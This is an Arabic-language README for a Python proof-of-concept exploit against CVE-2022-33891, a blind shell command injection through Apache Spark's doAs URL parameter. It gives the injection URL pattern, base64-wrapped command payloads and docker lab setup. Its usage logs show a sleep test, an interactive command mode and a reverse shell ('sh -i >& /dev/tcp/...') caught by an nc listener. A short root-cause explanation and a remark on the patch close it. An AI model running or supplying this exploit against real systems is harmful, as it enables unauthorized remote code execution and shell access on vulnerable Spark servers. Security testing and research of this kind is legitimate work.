
ثغرة حقن أوامر الشل في Apache Spark
ثغرة حقن الأوامر في قشرة Apache Spark
أداة Python POC لاستغلال ثغرة حقن الأوامر في قشرة Apache Spark. رأيت بعض أدوات POC الأخرى لكنها بدت مشبوهة جداً. هذه الأداة نظيفة وبسيطة.
لم أكتشف هذا الاستغلال/الثغرة بنفسي. أردت فقط إنشاء POC آمن للمجتمع ^.^
اكتشف CVE في الأصل Kostya Kortchinsky من Databricks.
تحديث 9/7/22: هناك وحدة Metasploit لهذا الآن! من إعداد h00die-gr3y وتم دمجها!
إصدارات Apache Spark 3.0.3 والإصدارات الأقدم، والإصدارات 3.1.1 إلى 3.1.2، والإصدارات 3.2.0 إلى 3.2.1
http://localhost:8080/?doAs=`[حقن أوامر هنا]`
مثال
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... ينام لمدة 10 ثوانٍ
تحتاج إلى إصدار ضعيف من Spark مع تغيير خيار إعداد واحد.
$ pip3 install -r requirements.txtspark/.docker-compose.yml الموجود في الدليل spark/ وقم بتشغيل docker-compose up. اترك الحاوية تعمل.sudo docker exec -it spark_spark_1 /bin/bashecho "spark.acls.enable true" >> conf/spark-defaults.confdocker-compose up┌──(kali㉿kali)-[~/Desktop]
└─$ python3 poc.py -h
usage: poc.py [-h] -u URL -p PORT [--revshell]
[-lh LISTENINGHOST] [-lp LISTENINGPORT]
[--check] [--verbose]
CVE-2022-33891 Python POC Exploit Script
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to exploit.
-p PORT, --port PORT Exploit target's port.
--revshell Reverse Shell option.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Your listening host IP address.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Your listening host port.
--check Checks if the target is
exploitable with a sleep test
--verbose Verbose mode
التحقق مما إذا كان الهدف ضعيفاً:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --check --verbose
[*] Attempting to connect to site...
[*] URL request: http://localhost:8080/?doAs='testing'
[*] Response status code: 403
[!] Performing sleep test of 10 seconds...
[*] T1: 2022-07-22 10:47:48.406996
[*] Command is: sleep 10
[*] Base64 command is: c2xlZXAgMTA=
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[*] T2: 2022-07-22 10:47:58.425108
[*] Delta T: 10
[+] Sleep was 10 seconds! This target is probably vulnerable!
إصدار الأوامر في حلقة موجه الأوامر:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --verbose
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
[cve-2022-33891> sleep 5
[*] Command is: sleep 5
[*] Base64 command is: c2xlZXAgNQ==
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[cve-2022-33891>
تنفيذ قوقعة عكسية:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 10.10.1.237 -lp 9001 --verbose
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 9001
[*] When your listener is set up, press enter!
[*] Command is: sh -i >& /dev/tcp/10.10.1.237/9001 0>&1
[*] Base64 command is: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx | base64 -d | bash`
[*] Sending exploit...
...[في المحطة الطرفية الأخرى]...
husky@dev-kde:~/Desktop/cve-2022-33891$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 172.19.0.2 52136
sh: 0: can't access tty; job control turned off
$ whoami
spark
$ echo "hackerman"
hackerman
$
يحدث حقن الأوامر لأن Spark يتحقق من عضوية المجموعة للمستخدم الذي تم تمريره في الوسيط ?doAs باستخدام أمر Linux خام. يقوم Bash بتحليل الأمر، ويرسل المخرجات إلى حقل id، ويحاول البحث عن المستخدم الناتج.
تمرير which python كقيمة لـ ?doAs= ينتج عنه هذا في traceback:
...
http://localhost:8080/?doAs=`which%20python`
...
spark_1 | 22/07/22 15:15:57 INFO Utils: id: '/opt/bitnami/python/bin/python': no such user
spark_1 | 22/07/22 15:15:57 ERROR Utils: Process List(bash, -c, id -Gn `which python`) exited with code 1:
spark_1 | 22/07/22 15:15:57 ERROR Utils: Error getting groups for user=`which python`
هنا، قررت Java أنه من الأفضل تمرير أمر id إلى bash -c للتحقق من عضوية المجموعة لمستخدم معين. المشكلة هي أن هذا يسمح أيضاً بحقن الأوامر. قام Bash بتحليل الأمر المقدم وطباعة النتائج في السطر الأول من هذا المخرجات وحاول البحث عن المستخدم بناءً على stdout للأمر.
لا يوجد مستخدم باسم /opt/bitnami/python/bin/python ولكن هذا يعني بالتأكيد أن الأمر تم تمريره إلى Bash وتنفيذه.
الإصدارات المُصحّحة تجعل هذه الاستدعاءات مؤرشفة (parametrize) بحيث يكون لها مسار كامل لأمر /bin/id بدلاً من bash -c id.
من الجدير بالذكر أنه لا ينعكس أي شيء على الصفحة أثناء تنفيذ الأمر، لذلك هذا حقن أوامر أعمى. أوامرك تُنفّذ، ولكن لن يكون هناك أي إشارة إذا نجحت أم لا، أو حتى إذا كان البرنامج الذي تشغله موجوداً على الهدف. على سبيل المثال، الحاوية التي يتم تشغيلها باستخدام ملف docker-compose.yml في هذا المستودع لا تحتوي على ping، لذا التحقق من حقن الأوامر عبر pingback لن يعمل. لكنك لن تعرف ذلك، لذا ستبقى تتساءل إذا كان قد نجح أم لا.
اختبار sleep هو رهان آمن ^.^
لقد قضيت صفر دورة في جعل هذا آمناً من ناحية OPSEC. فرق الاختراق الأحمر، هذا عليكم.
لا تحتوي هذه POC على أي قدرة على الاستكشاف السلبي. الاستغلال هو حقن أوامر أعمى. إذا استخدمت هذا السكربت ضد هدف، فإنك ترسل حزم إليه. حتى إذا استخدمت الوسيط --check وكان الهدف ضعيفاً، فأنت تستغله بنشاط لإثبات ضعفه.
لا تستخدم هذا على أنظمة إنتاج حساسة للاختبار. لا تستخدمه ضد أهداف إذا لم يكن لديك إذن بذلك. أنا لست مسؤولاً بأي شكل عن كيفية استخدامك له.
انظر إلى الترخيص.